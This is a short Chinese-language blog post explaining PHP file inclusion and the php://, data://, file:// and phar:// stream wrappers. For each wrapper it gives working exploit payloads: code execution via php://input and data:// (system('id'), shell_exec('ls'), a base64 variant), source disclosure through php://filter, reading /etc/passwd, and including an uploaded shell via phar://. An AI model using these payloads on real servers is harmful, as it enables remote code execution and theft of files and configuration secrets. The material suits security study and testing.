当前位置: 首页 > article >正文

php文件包含与伪协议

PHP伪协议是一种在PHP中用于快速读取文件或访问资源的特殊协议。它通常以file://php://zlib://data://等形式出现,允许开发者通过简单的语法直接操作文件或数据流,而无需复杂的文件操作函数。 

php伪协议利用:

php伪协议允许通过特定封装器访问资源,常用于绕过限制

1.常用伪协议:

php://input

条件 allow_url_include=On

作用:读取POST请求原始数据并执行

POST /?page=php://input HTTP/1.1
...
<?php system('id'); ?>

php://filer

条件:无需特殊配置

作用:读取文件源码(如php文件需要编码避免执行)

?file=php://filter/read=convert.base64-encode/resource=config.php(获取Base64编码后的源码)。

data://

条件:allow_url_include=On

作用:直接执行代码或包含外部数据

?page=data://text/plain,<?php echo shell_exec('ls');?>或?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOz8+

file://

直接访问本地文件,?file=file:///etc/passwd

phar://

解压ZIP/JAR等归档文件并执行内部PHP代码,上传ZIP文件(shell.php),包含phar://uploads/evil.zip/shell.php


http://www.kler.cn/a/596205.html

相关文章:

  • (electron 报错)TypeError: Cannot read property ‘upgrade‘ of undefined
  • MySQL身份验证的auth_socket插件
  • Java基础面试题学习
  • ruoyi-vue部署linux(war包方式)
  • 【DNN量化工具】QKeras 工具简介
  • springmvc中使用interceptor拦截
  • TensorFlow 与 Matplotlib 核心知识点及实战案例
  • 2953. 统计完全子字符串(将题目中给的信息进行分组循环)
  • JavaIO流的使用和修饰器模式(直击心灵版)
  • 解释什么是受控组件和非受控组件
  • git 查看某个函数的所有提交日志
  • Web爬虫利器FireCrawl:全方位助力AI训练与高效数据抓取。本地部署方式
  • 【入门初级篇】报表基础操作与功能介绍
  • 大数据处理最容易的开源平台
  • 基于Python编程语言实现“机器学习”,用于车牌识别项目
  • Android Audio基础(52)—— ASoC的PCM逻辑设备
  • AGI成立的条件
  • jieba中文分词模块,详细使用教程
  • 基于 PyTorch 的 MNIST 手写数字分类模型
  • 学习笔记:黑马程序员JavaWeb开发教程(2025.3.21)